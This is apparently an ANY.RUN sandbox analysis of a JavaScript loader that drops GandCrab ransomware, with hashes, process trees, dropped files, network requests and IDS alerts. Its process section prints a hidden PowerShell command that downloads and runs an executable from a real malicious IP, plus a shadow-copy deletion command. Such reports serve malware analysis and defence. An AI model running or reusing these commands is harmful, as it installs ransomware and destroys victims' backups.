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File name:

malware.js

Full analysis: https://app.any.run/tasks/3659f6ee-9eb5-4b9c-9ef4-d4b29a225f02
Verdict: Malicious activity
Threats:

GandCrab is probably one of the most famous Ransomware. A Ransomware is a malware that asks the victim to pay money in order to restore access to encrypted files. If the user does not cooperate the files are forever lost.

Malware Trends Tracker     >>>
Analysis date: January 17, 2019, 14:11:45
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
loader
trojan
ransomware
gandcrab
Indicators:
MIME: text/plain
File info: ASCII text, with very long lines, with CRLF, CR line terminators
MD5:

696E05D70452AFF901F37B2435701132

SHA1:

937BA1EA420EBC3E6B9EEE69DB8EF92255DF0003

SHA256:

5F9154AAB84AF6D04E0932CFD27A106FF6976A1D29D340952762D3912B71C807

SSDEEP:

192:hs3ch+91j67D7OmOiI7WPoDOirD1v07mU/g2XOjarpT4751:hsMhL7soEhU/Qar+f

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Application was dropped or rewritten from another process

      • TempUtN19.exe (PID: 2160)
      • winsvcs.exe (PID: 3616)
      • 3955438080.exe (PID: 3460)

    • Executes PowerShell scripts

      • cmd.exe (PID: 4044)

    • Changes the autorun value in the registry

      • TempUtN19.exe (PID: 2160)

    • Downloads executable files from the Internet

      • powershell.exe (PID: 2724)
      • winsvcs.exe (PID: 3616)

    • Downloads executable files from IP

      • powershell.exe (PID: 2724)
      • winsvcs.exe (PID: 3616)

    • Disables Windows System Restore

      • winsvcs.exe (PID: 3616)

    • Disables Windows Defender Real-time monitoring

      • winsvcs.exe (PID: 3616)

    • GandCrab keys found

      • 3955438080.exe (PID: 3460)

    • Changes Security Center notification settings

      • winsvcs.exe (PID: 3616)

    • Renames files like Ransomware

      • 3955438080.exe (PID: 3460)

    • Writes file to Word startup folder

      • 3955438080.exe (PID: 3460)

    • Actions looks like stealing of personal data

      • 3955438080.exe (PID: 3460)

    • Dropped file may contain instructions of ransomware

      • 3955438080.exe (PID: 3460)

    • Deletes shadow copies

      • 3955438080.exe (PID: 3460)

    • Changes settings of System certificates

      • 3955438080.exe (PID: 3460)

  • SUSPICIOUS

    • Creates files in the user directory

      • powershell.exe (PID: 2724)
      • 3955438080.exe (PID: 3460)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 2724)
      • TempUtN19.exe (PID: 2160)
      • winsvcs.exe (PID: 3616)

    • Starts CMD.EXE for commands execution

      • WScript.exe (PID: 2972)

    • Starts itself from another location

      • TempUtN19.exe (PID: 2160)

    • Creates files in the program directory

      • 3955438080.exe (PID: 3460)

    • Creates files like Ransomware instruction

      • 3955438080.exe (PID: 3460)

    • Reads the cookies of Mozilla Firefox

      • 3955438080.exe (PID: 3460)

    • Adds / modifies Windows certificates

      • 3955438080.exe (PID: 3460)

  • INFO

    • Dropped object may contain TOR URL's

      • 3955438080.exe (PID: 3460)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
42
Monitored processes
8
Malicious processes
5
Suspicious processes
1

Behavior graph

Click at the process to see the details
start drop and start drop and start wscript.exe no specs cmd.exe no specs powershell.exe temputn19.exe winsvcs.exe #GANDCRAB 3955438080.exe wmic.exe vssvc.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2972"C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\malware.js"C:\Windows\System32\WScript.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
4044"C:\Windows\System32\cmd.exe" /c JhCIFWVdRtYpjHOyekbEfrAMvgxaGB & powershell.exe -executionpolicy bypass -noprofile -w hidden $var = New-Object System.Net.WebClient; $var.Headers['User-Agent'] = 'Windows'; $var.downloadfile('http://92.63.197.153/mcdonalds.exe','%temp%UtN19.exe'); & start %temp%UtN19.exeC:\Windows\System32\cmd.exe—WScript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2724powershell.exe -executionpolicy bypass -noprofile -w hidden $var = New-Object System.Net.WebClient; $var.Headers['User-Agent'] = 'Windows'; $var.downloadfile('http://92.63.197.153/mcdonalds.exe','C:\Users\admin\AppData\Local\TempUtN19.exe'); C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2160C:\Users\admin\AppData\Local\TempUtN19.exe C:\Users\admin\AppData\Local\TempUtN19.exe
cmd.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
3616C:\Users\admin\66087085470750\winsvcs.exeC:\Users\admin\66087085470750\winsvcs.exe
TempUtN19.exe
User:
admin
Integrity Level:
MEDIUM
3460C:\Users\admin\AppData\Local\Temp\3955438080.exeC:\Users\admin\AppData\Local\Temp\3955438080.exe
winsvcs.exe
User:
admin
Integrity Level:
MEDIUM
1008"C:\Windows\system32\wbem\wmic.exe" shadowcopy deleteC:\Windows\system32\wbem\wmic.exe
3955438080.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
WMI Commandline Utility
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3268C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe—services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Microsoft® Volume Shadow Copy Service
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
527
Read events
387
Write events
0
Delete events
0

Modification events

No data
Executable files
4
Suspicious files
429
Text files
320
Unknown types
12

Dropped files

PID
Process
Filename
Type
2724powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\K4HX7BXARY0TPZ0BLN0X.temp —
MD5:—
SHA256:—
34603955438080.exeC:\Recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\boot.sdi —
MD5:—
SHA256:—
34603955438080.exeC:\Recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\Winre.wim.jyowlpxvu —
MD5:—
SHA256:—
2724powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF246a44.TMPbinary
MD5:6073B6FC66D2E68644893344F6904E4A
SHA256:0F2F61C8DFC3A20C7A5E5133C19BA1493441440E5477254273F28F6F668E64B3
3616winsvcs.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\0UU90R59\1[1].exeexecutable
MD5:E387BD817E9B7F02FA9C2511CC345F12
SHA256:39514226B71AEBBE775AA14627C716973282CBA201532DF3F820A209D87F6DF9
3616winsvcs.exeC:\Users\admin\AppData\Local\Temp\3955438080.exeexecutable
MD5:E387BD817E9B7F02FA9C2511CC345F12
SHA256:39514226B71AEBBE775AA14627C716973282CBA201532DF3F820A209D87F6DF9
2724powershell.exeC:\Users\admin\AppData\Local\TempUtN19.exeexecutable
MD5:0673B159C2F01FADEADC3306F2BB5390
SHA256:5DF55A2D3F688735E0D530A7639DADAC3817D4B3F2972276FB3B046D381A9121
34603955438080.exeC:\PerfLogs\Admin\JYOWLPXVU-DECRYPT.txttext
MD5:E17D9A0BC49EF945027566EC2773D28B
SHA256:FFD86155188BFBA27C84F4EB4537D35B627C78886BE7896EBD3606A9F77ABB3B
34603955438080.exeC:\$Recycle.Bin\S-1-5-21-1302019708-1500728564-335382590-1000\JYOWLPXVU-DECRYPT.txttext
MD5:E17D9A0BC49EF945027566EC2773D28B
SHA256:FFD86155188BFBA27C84F4EB4537D35B627C78886BE7896EBD3606A9F77ABB3B
34603955438080.exeC:\MSOCache\JYOWLPXVU-DECRYPT.txttext
MD5:E17D9A0BC49EF945027566EC2773D28B
SHA256:FFD86155188BFBA27C84F4EB4537D35B627C78886BE7896EBD3606A9F77ABB3B
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
36
TCP/UDP connections
6
DNS requests
1
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3616
winsvcs.exe
GET
—
92.63.197.153:80
http://92.63.197.153/s/1.exe
RU
—
—
malicious
2724
powershell.exe
GET
200
92.63.197.153:80
http://92.63.197.153/mcdonalds.exe
RU
executable
278 Kb
malicious
3616
winsvcs.exe
GET
404
92.63.197.153:80
http://92.63.197.153/s/5.exe
RU
html
178 b
malicious
3616
winsvcs.exe
GET
404
92.63.197.153:80
http://92.63.197.153/s/2.exe
RU
html
178 b
malicious
3616
winsvcs.exe
GET
200
92.63.197.153:80
http://92.63.197.153/s/1.exe
RU
executable
361 Kb
malicious
3616
winsvcs.exe
GET
404
92.63.197.153:80
http://92.63.197.153/s/3.exe
RU
html
178 b
malicious
3616
winsvcs.exe
GET
404
92.63.197.153:80
http://92.63.197.153/s/4.exe
RU
html
178 b
malicious
3616
winsvcs.exe
GET
404
92.63.197.153:80
http://92.63.197.153/s/5.exe
RU
html
178 b
malicious
3616
winsvcs.exe
GET
404
92.63.197.153:80
http://92.63.197.153/s/4.exe
RU
html
178 b
malicious
3616
winsvcs.exe
GET
404
92.63.197.153:80
http://92.63.197.153/s/2.exe
RU
html
178 b
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3616
winsvcs.exe
92.63.197.153:80
—
—
RU
malicious
3460
3955438080.exe
138.201.162.99:80
www.kakaocorp.link
Hetzner Online GmbH
DE
malicious
3460
3955438080.exe
138.201.162.99:443
www.kakaocorp.link
Hetzner Online GmbH
DE
malicious
2724
powershell.exe
92.63.197.153:80
—
—
RU
malicious

DNS requests

Domain
IP
Reputation
www.kakaocorp.link
  • 138.201.162.99
malicious

Threats

PID
Process
Class
Message
2724
powershell.exe
A Network Trojan was detected
ET INFO Executable Download from dotted-quad Host
2724
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
2724
powershell.exe
Potentially Bad Traffic
ET INFO SUSPICIOUS Dotted Quad Host MZ Response
2724
powershell.exe
Misc activity
ET INFO EXE IsDebuggerPresent (Used in Malware Anti-Debugging)
3616
winsvcs.exe
A Network Trojan was detected
ET INFO Executable Download from dotted-quad Host
3616
winsvcs.exe
A Network Trojan was detected
ET TROJAN Single char EXE direct download likely trojan (multiple families)
3616
winsvcs.exe
A Network Trojan was detected
ET INFO Executable Download from dotted-quad Host
3616
winsvcs.exe
A Network Trojan was detected
ET TROJAN Single char EXE direct download likely trojan (multiple families)
3616
winsvcs.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
3616
winsvcs.exe
Potentially Bad Traffic
ET INFO SUSPICIOUS Dotted Quad Host MZ Response
No debug info
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